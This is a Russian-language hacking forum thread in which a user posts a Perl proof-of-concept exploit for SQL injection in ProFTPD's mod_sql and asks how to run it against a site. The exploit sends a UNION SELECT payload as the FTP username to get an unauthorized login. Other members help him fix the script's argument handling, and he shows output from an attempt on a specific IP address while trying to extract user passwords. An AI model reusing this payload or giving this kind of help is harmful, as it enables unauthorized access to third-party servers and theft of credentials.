sql в ProFTPD

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Майор, 13 Apr 2005.

  1. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Есть на одном сайте такая уязвимость :
    SQL-инъекция в модуле mod_sql Pro_FTPD сервера. Во время аутентификации к серверу баз данных PostregSQL mod_sql_postreg некорректно обрабатывает escape строки, что позволяет удаленному атакующему в качестве имени пользователя использовать SQL запрос и получить неавторизованный доступ к базе данных на сервере.

    Эксплойт написан на perle, в котором я вообще не рублю :( ........ Подскажите как его юзать ? или если кто в курсе мож как-нибудь в ручную дыру можно юзать ?
    Code:
    #!/usr/bin/perl
    # Sql inject on ProFTPD with mod_sql proof of concept script
    # runlevel [ [email protected] ]
    # Spain, 2003
    
    use IO::Socket;
    if(@ARGC<2){
        print "\nProof Of Concept Sql Inject on ProFTPD\n";
        print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
        exit(0);
    };
    
    $server = $ARGV[0];
    $query = $ARGV[1];
    $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1) 
                              or die "Can't connect. \n";
    if(defined($line=<$remote>)){
        print STDOUT $line;
    }
    
    # Proof of concept query, it may change on the number of rows
    # By default, it can query User, Pass, Uid, Gid, Shell or
    # User, Pass, Uid, Gid, Shell, Path, change the union query...
    
    if($query eq "1"){
        print $remote "USER ')UNION SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
    }else{
        print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' WHERE(''='\n";
    };
    if(defined($line=<$remote>)){
        print STDOUT $line;
    }
    print $remote "PASS p\n";
    if(defined($line=<$remote>)){
        print STDOUT $line;
    }
    print "Sent query to $ARGV[0]\n";
    if($line =~ /230/){  #logged in
        print "[------- Sql Inject Able \n";
    }else{
        print "[------- Sql Inject Unable \n";
    }
    close $remote;
    
     
  2. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Ставь актив перл для винды и юзай,если линукс то там ставь прото перл,если конечно его нет(вроде во всех по умалчанию есть)
     
  3. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    его обязательно на апач надо ставить ?
     
  4. PinkPanther

    PinkPanther [ розовый мафиозо ]

    Joined:
    16 Mar 2005
    Messages:
    280
    Likes Received:
    75
    Reputations:
    85
    Нет конечно. Просто устанавливай ActivePerl, а потом в командной строке набирай, к примеру: H:\my sploits\sploit.pl [параметр] , или если perl не в авто загрузке, то пиши в cmd:
    C:\perl\bin\perl.exe H:\my sploits\sploit.pl [параметр]
     
  5. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    вот такую ошибку выдаёт...
    чё ему нехватает ?
     
    #5 Майор, 18 Apr 2005
    Last edited: 18 Apr 2005
  6. PinkPanther

    PinkPanther [ розовый мафиозо ]

    Joined:
    16 Mar 2005
    Messages:
    280
    Likes Received:
    75
    Reputations:
    85
    хз, я запускал у себя твой сплойт, всё работает............хз
     
  7. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    ........
    а что ему в качестве парамтра передавать ?
     
  8. SladerNon

    SladerNon Адам

    Joined:
    6 Mar 2005
    Messages:
    1,636
    Likes Received:
    938
    Reputations:
    355
    Майор

    Может разные версии ActivePerl у тебя и PinkPanter ?
     
  9. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Скомпилировал с горем пополам :)
    но возникла проблема с передачей адреса сервера, как же это зделать ? что ему вообще надо, только ип?

    в Си переменной ARGC можно можно передовать значения так : C:\perl\exployt.exe parametr
    но в perl так что то неработает...
     
  10. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Как же это ты так смог? =)
    юзай так:
    perl script.pl server query
     
  11. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    вот так и пушу :
    Code:
    
    C:\perl\bin>perl.exe 1.pl 207.248.240.118 SELECT user_password FROM forum_users;
    
    Proof Of Concept Sql Inject on ProFTPD
    Usage: perl poc-sqlftp <target> [1=Alternate query]
    
    
    C:\perl\bin>
    
    .........

    зы ip изменён
     
  12. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    начни так:

    #!/usr/bin/perl
    use IO::Socket;
    print "\nInput your IP: ";
    my $server = <stdin>;
    chop ($server);
    print "\nInput your query: ";
    my $query = <stdin>;
    chop ($query);


    и в середине замени print "Sent query to $ARGV[0]\n"; на print "Sent query to $server\n";
     
    #12 nerezus, 20 Apr 2005
    Last edited: 20 Apr 2005
  13. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    хорошо к серверу он уже конектится :)

    Code:
    C:\perl\bin>2.pl
    
    Input your IP: 207.248.240.118
    
    Input your query: SELECT user_password FROM phpbb_users
    220 ProFTPD 1.2.8 Server (NewAge FTP Server) [serv.ru]
    331 Password required for ')UNION.
    530 Login incorrect.
    Sent query to  207.248.240.118
    [------- Sql Inject Unable
    
    Наверно запрос у меня не правельный ?
    или дыру каким то макаром прикрыли
     
  14. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    >или дыру каким то макаром прикрыли
    если учитывать возраст сплоита ;)
     
    #14 nerezus, 20 Apr 2005
    Last edited: 20 Apr 2005
  15. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    лан спасибо запомощь!, буду подругому ковырять :)
     
  16. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    вот когда так пишет т.е. скрипт не запускается это означает что не все или неправильный параметры передал ты скрипту.А так если анейбл то значит дырки нету =)))
     
  17. ПсиХ

    ПсиХ New Member

    Joined:
    13 Jan 2006
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    А не подскажете что писать в query ?
     
  18. zeppe1in

    zeppe1in Elder - Старейшина

    Joined:
    12 Jul 2006
    Messages:
    343
    Likes Received:
    66
    Reputations:
    18
    так ты передаёш скрипту не два, а пять параметров. Запрос надо в кавычки.
     
  19. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    уууууууу.... охренологи(археологи)... )) тему подняли полуторолетнюю ))
     
  20. ПсиХ

    ПсиХ New Member

    Joined:
    13 Jan 2006
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    Ну дык Интересно ))) Я вот некоторые нюансы не понимаю, а объяснить некому(((

    Например: ччто именно я должен вводит в query при использование эксплоита :?

    как узнать в какой категории (название) хранится пароль, или логинн пользователя ?
     
    #20 ПсиХ, 12 Jul 2006
    Last edited: 13 Jul 2006